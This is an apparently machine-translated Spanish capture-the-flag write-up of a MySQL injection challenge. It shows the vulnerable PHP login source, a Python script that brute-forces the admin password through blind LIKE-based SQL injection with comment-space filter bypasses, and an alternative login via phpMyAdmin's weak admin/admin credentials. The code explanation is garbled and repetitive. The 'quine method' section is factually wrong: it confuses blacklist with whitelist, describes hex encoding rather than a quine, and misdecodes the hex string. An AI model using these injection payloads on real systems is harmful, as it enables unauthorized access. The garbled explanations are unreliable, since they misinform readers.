[Quinto Espacio 2021]todavía_otra_inyección_mysql
f12 pista encontrada/?source
El código fuente se proporciona directamente después de acceder.
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{
$mes}');location.href='{
$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
A partir de este código, podemos saber que necesitamos pasar dos valores username
y password
, y luego se alcanzará la función cuando se verifique la contraseña checkSql
, y esta función filtra las palabras clave de inyección SQL más utilizadas.
La clave es
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
Explicación del código:
- Utilice la variable sql para almacenar una declaración de consulta SQL que seleccione la columna denominada "contraseña" de la tabla de la base de datos denominada "usuarios", donde el valor de la columna "nombre de usuario" es igual a "admin" y el valor de la "contraseña" columna La variable igual sql almacena una declaración de consulta SQL que selecciona la columna denominada "contraseña" de la tabla de la base de datos denominada "usuarios", donde el valor de la columna "nombre de usuario" es igual a "admin" y el valor de la "contraseña" "columna igual a variablesql almacena una consulta SQL que selecciona una columna llamada " p a ss w o d" de una tabla de base de datos llamada " usuarios " donde el valor de la columna " nombre de usuario " es igual a " ad min " , y el valor de la columna " contraseña " es igual al valor de la variable contraseña .
- Utilice la función mysqli_query para ejecutar la consulta SQL y almacenar los resultados en la variable $user_result.
- Utilice la función mysqli_fetch_array para obtener una fila de registros de los resultados de la consulta y almacenarla en la fila variable. en esta fila. estefila en . Esta matriz de filas contiene el valor de la columna "contraseña" obtenida de la base de datos.
Entonces nuestro objetivo es encontrar admin
el correspondientepassword
Aunque checkSql
la mayoría de las palabras clave se han filtrado, like /**/ ' %
no se han filtrado. Puede escribir un script para descifrar la contraseña. Encontré directamente un script maestro aquí.
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28610/index.php"
flag = ""
while True:
for i in alp:
data={
"username":"admin","password":f"1'or/**/password/**/like/**/'{
flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()
Explota la contraseña
Obtener bandera después de iniciar sesión
Reponer:
Esta pregunta examina el método quine.
método quine
El método Quine es un método técnico utilizado para eludir las defensas de inyección SQL basadas en listas blancas. La inclusión en listas blancas es una medida de defensa más segura que verifica si la entrada del usuario contiene ciertos caracteres o cadenas y solo permite que estos caracteres o cadenas se utilicen en consultas. Esto puede evitar que se ejecuten algunas operaciones y declaraciones maliciosas.
El método Quine consiste en eludir esta medida de defensa de la lista blanca mediante la construcción de algunas declaraciones de consulta especiales. Por ejemplo, al ejecutar una consulta, un atacante podría crear la siguiente declaración para omitir la lista blanca:
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 0x2575716572795f646574656374
En esta declaración, el atacante utiliza la codificación HEX para representar la cadena en el lado derecho del operador LIKE. Esta cadena es en realidad la codificación HEX de "unique_detect". Dado que la lista blanca solo permite el uso de caracteres o cadenas específicos, pero no de operadores u operaciones específicas, los atacantes pueden usar este método para eludir las restricciones de la lista blanca y realizar operaciones maliciosas.
Para obtener más información, consulte NSS Daily Brush-[Fifth Space 2021]yet_another_mysql_injection-Qunie
Fuente del script: [Quinto Espacio 2021]yet_another_mysql_injection
Método dos:
Utilice dirsearch para escanear y podrá ver que hay /phpmyadmin
rutas.
Acceso directo, solo prueba la contraseña débil, admin
contraseña de cuentaadmin
Puede ver admin
el correspondiente desde aquí password
y luego volver a iniciar sesión para obtener la bandera.